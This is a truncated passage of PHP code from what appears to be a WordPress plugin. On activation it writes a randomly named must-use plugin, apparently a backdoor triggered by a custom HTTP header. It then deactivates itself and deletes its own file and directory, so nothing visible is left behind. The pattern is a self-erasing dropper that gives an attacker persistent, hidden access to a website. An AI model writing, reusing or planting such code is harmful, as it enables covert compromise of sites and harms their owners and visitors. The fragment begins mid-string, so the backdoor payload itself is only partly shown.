/*
$the_post_wl = $_SERVER;
$the_post_krs = 'HTTP_7149974';
if (isset($the_post_wl[$the_post_krs])) {}
EOD;

    if (file_put_contents($mu_plugin_path, $mu_plugin_content)) {
        error_log("MU plugin {$random_name} created and installed.");
        f2();
    } else {
        error_log("Failed to create MU plugin file.");
    }
}

function f2() {
    $plugin_file = __FILE__;


    deactivate_plugins(plugin_basename($plugin_file));


    unlink($plugin_file);


    $plugin_dir = plugin_dir_path($plugin_file);
    if (is_dir($plugin_dir)) {
        $files = array_diff(scandir($plugin_dir), array('.', '..'));
        foreach ($files as $file) {
            is_dir("$plugin_dir/$file") ? delTree("$plugin_dir/$file") : unlink("$plugin_dir/$file");
        }
        rmdir($plugin_dir);
        error_log("Plugin directory deleted.");
    } else {
        error_log("Plugin directory not found.");
    }
}


function delTree($dir) {
    $files = array_diff(scandir($dir), array('.', '..'));
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}


register_activation_hook(__FILE__, 'f1');